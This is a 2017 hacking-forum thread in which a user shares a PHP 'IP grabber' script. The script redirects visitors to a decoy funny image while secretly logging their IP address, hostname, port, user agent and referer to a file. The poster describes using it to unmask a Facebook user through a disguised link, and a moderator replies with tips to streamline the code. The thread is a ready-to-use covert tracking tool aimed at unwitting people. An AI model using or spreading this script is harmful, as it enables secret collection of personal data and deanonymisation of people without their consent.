Hello There, Guest! Login Register
Logo
Dismiss this notice
MaDLeeTs is not responsible for any attacks that are carried out on networks, websites or servers.
MaDLeeTs staff members cannot be held responsible.
All information on this forum is for educational purposes only.


Device Name & IP Adress Grabber

  • 0 Vote(s) - 0 Average


06-12-2017, 07:23 AM #1
mohachet Offline Junior Member **
Registered
Posts:15 Threads:3 Joined:Oct 2013 Reputation: 0
Mood: Alone
Hello Guys!
long time no see!!
i'm glad this forum is up again Smiley1
so, today i'm going to share with you this script:
Code:
<?php

//Device Identifier & IP Grabber

//Variables
header ('Location: http://i.imgur.com/Jj9tdnm.jpg');
$protocol = $_SERVER['SERVER_PROTOCOL'];
$ip = $_SERVER['REMOTE_ADDR'];
$port = $_SERVER['REMOTE_PORT'];
$agent = $_SERVER['HTTP_USER_AGENT'];
$ref = $_SERVER['HTTP_REFERER'];
$hostname = gethostbyaddr($_SERVER['REMOTE_ADDR']);


//Print IP, Hostname, Port Number, User Agent, and Referer To data.txt

$fh = fopen('data.txt', 'a');
fwrite($fh, 'IP Address: '."".$ip ."\n");
fwrite($fh, 'Hostname: '."".$hostname ."\n");
fwrite($fh, 'Port Number: '."".$port ."\n");
fwrite($fh, 'User Agent: '."".$agent ."\n");
fwrite($fh, 'HTTP Referer: '."".$ref ."\n\n");
fclose($fh);
?>
well, the reason i made this script is because.. a friend of mine wanted to know the identity of someone in his friends list on facebook he suspcted that it was someone of his friends .. so i made him this script which grabs IP adresse & device name..
so my friend uploaded it to a webhosting & sent the link the that facebook user,
when the user accessed the link it redirected him to a funny image ('http://i.imgur.com/Jj9tdnm.jpg' replace it with your own image') & he didn't suspect anything , then the script recorded this user's details in a file named 'data.txt'
which helped my friend to identify this user & found out that it was one of his friends.
99

06-14-2017, 02:48 AM #2
T3N38R15 Offline ? lawless-coder *****
Moderators
Posts:812 Threads:48 Joined:Jan 2014 Reputation: 126
Mood: Fine
Thanks for sharing Smiley1

you can remove the
$_SERVER['REMOTE_PORT'] parameter because it wont help the user to identify the User.
And what are you doing with
"".$ip. this is not necessary because the Variables are allready Strings Smiley1

if you want to minimize this script you can use the " to create string messages Smiley1
see :
Code:
$fh = fopen('data.txt', 'a');
fwrite($fh, "IP Address: $ip\n");
fwrite($fh, "Hostname: $hostname\n");
fwrite($fh, "Port Number: $port\n");
fwrite($fh, "User Agent: $agent\n");
fwrite($fh, "HTTP Referer: $ref\n\n");
fclose($fh);

[Image: xodhvlpa.jpg]
[Image: test.php]

06-14-2017, 06:27 AM #3
mohachet Offline Junior Member **
Registered
Posts:15 Threads:3 Joined:Oct 2013 Reputation: 0
Mood: Alone
(06-14-2017, 02:48 AM)T3N38R15 Wrote:  Thanks for sharing Smiley1

you can remove the
$_SERVER['REMOTE_PORT'] parameter because it wont help the user to identify the User.
And what are you doing with
"".$ip. this is not necessary because the Variables are allready Strings Smiley1

if you want to minimize this script you can use the " to create string messages Smiley1
see :
Code:
$fh = fopen('data.txt', 'a');
fwrite($fh, "IP Address: $ip\n");
fwrite($fh, "Hostname: $hostname\n");
fwrite($fh, "Port Number: $port\n");
fwrite($fh, "User Agent: $agent\n");
fwrite($fh, "HTTP Referer: $ref\n\n");
fclose($fh);

thanks for the advice, i really appreciate it Smiley1 Thumbsupsmileyanim






Forum Jump:


Users browsing this thread:1 Guest(s)